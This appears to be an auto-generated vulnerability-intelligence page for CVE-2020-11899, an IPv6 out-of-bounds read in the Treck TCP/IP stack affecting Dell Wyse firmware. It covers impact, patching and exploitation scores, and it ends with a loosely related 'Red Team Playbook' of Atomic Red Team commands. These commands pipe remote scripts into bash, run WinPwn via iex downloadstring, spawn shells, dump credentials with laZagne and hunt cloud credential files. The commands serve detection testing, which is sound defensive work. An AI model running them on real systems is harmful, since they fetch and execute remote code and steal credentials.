CVE-2020-11899
Overview
This vulnerability is an out-of-bounds read in the IPv6 implementation of the Treck TCP/IP stack prior to version 6.0.1.66. The root cause is improper bounds checking when processing IPv6 packets, leading to memory access beyond allocated buffers. The flaw resides specifically within the IPv6 packet parsing routines of the network stack component.
Vulnerability Description
The Treck TCP/IP stack before 6.0.1.66 has an IPv6 Out-of-bounds Read.
Impact
An unauthenticated attacker can exploit this vulnerability remotely by sending specially crafted IPv6 packets to the affected device. Successful exploitation may result in information disclosure through memory leakage or cause denial of service conditions by crashing the network stack. This can disrupt network communications or provide attackers with partial memory contents, potentially aiding further exploitation or reconnaissance in a network environment.
Solution
Apply the vendor-provided update to Treck TCP/IP stack version 6.0.1.66 or later as detailed in Cisco Security Advisory cisco-sa-treck-ip-stack-JyBQ5GyC. Dell firmware users should consult Dell support channels for updated Wyse 5050, 7030, and 5030 firmware versions incorporating this fix. Refer to the Cisco advisory URL for comprehensive patching instructions and mitigation guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Treck TCP/IP stack is characterized by an out-of-bounds read condition specifically related to IPv6 processing. This flaw arises when the stack attempts to access memory beyond the allocated buffer during the handling of IPv6 packets. Such a condition can lead to unintended memory disclosures, potentially exposing sensitive data stored in memory to unauthorized entities. The issue is particularly concerning as it can be exploited remotely, allowing attackers to leverage the vulnerability without requiring physical access to the affected devices.
Attack vectors for this vulnerability primarily involve the manipulation of IPv6 packets sent to devices utilizing the Treck TCP/IP stack. An attacker could craft malicious packets designed to trigger the out-of-bounds read, leading to the disclosure of sensitive information such as cryptographic keys, user credentials, or other critical data. Exploitation could occur in various scenarios, including targeted attacks against networked devices such as IoT devices, embedded systems, and other hardware running the vulnerable stack. Given the prevalence of IPv6 in modern networking, the potential for widespread exploitation is significant, particularly in environments where security measures may be lax.
The real-world impact of this vulnerability is substantial, especially for organizations relying on affected products, such as Dell Wyse thin clients. The business risks associated with this flaw include data breaches, loss of customer trust, and potential regulatory repercussions if sensitive information is compromised. Moreover, the exploitation of this vulnerability could lead to unauthorized access to corporate networks, resulting in further attacks or lateral movement within the network. The financial implications of such incidents can be severe, encompassing both direct costs related to incident response and remediation, as well as indirect costs associated with reputational damage.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating the Treck TCP/IP stack to the latest version is critical, as the vendor has released patches addressing this issue. Additionally, implementing network segmentation can help isolate vulnerable devices from critical systems, reducing the attack surface. Organizations should also employ intrusion detection systems (IDS) to monitor for unusual traffic patterns indicative of exploitation attempts. Conducting regular security assessments and penetration testing can further enhance an organization's ability to identify and remediate vulnerabilities before they can be exploited.
In conclusion, the out-of-bounds read vulnerability in the Treck TCP/IP stack poses a significant threat to the security of devices utilizing this software. The potential for exploitation through crafted IPv6 packets highlights the importance of maintaining up-to-date software and implementing robust security practices. By understanding the technical details, attack vectors, and potential impacts, organizations can better prepare themselves to defend against this and similar vulnerabilities in the future.
CVE-2020-11899 has recently been incorporated into the CISA Known Exploited Vulnerabilities (KEV) catalog, signaling increased governmental recognition of its potential risk. This inclusion is accompanied by a revised CVSS score rising from zero to 5.4, reflecting a reassessment of the vulnerability’s impact and exploitability. Concurrently, the Exploit Prediction Scoring System (EPSS) has assigned a significant score of 0.3325, placing this vulnerability near the top percentile for likely exploitation. Although no new exploit techniques or active exploitation campaigns have been detected by our telemetry, these developments indicate heightened attention and a growing likelihood of exploitation attempts in the near term. For defenders, this shift underscores the necessity to prioritize vulnerability management efforts related to the Treck TCP/IP stack, as the vulnerability’s risk profile has materially increased. The updated risk assessment elevates CVE-2020-11899 from a low-priority concern to a medium-severity threat, warranting closer monitoring and proactive mitigation planning within affected environments.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Treck | Tcp\/ip | All |
cpe:2.3:a:treck:tcp\/ip:*:*:*:*:*:*:*:*
|
|
|
Dell | Wyse 5050 All-In-One Firmware | N/A |
cpe:2.3:o:dell:wyse_5050_all-in-one_firmware:-:*:*:*:*:*:*:*
|
|
|
Dell | Wyse 7030 Firmware | N/A |
cpe:2.3:o:dell:wyse_7030_firmware:-:*:*:*:*:*:*:*
|
|
|
Dell | Wyse 5030 Firmware | N/A |
cpe:2.3:o:dell:wyse_5030_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-540 | Overread Buffers |
33%
|
Low | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.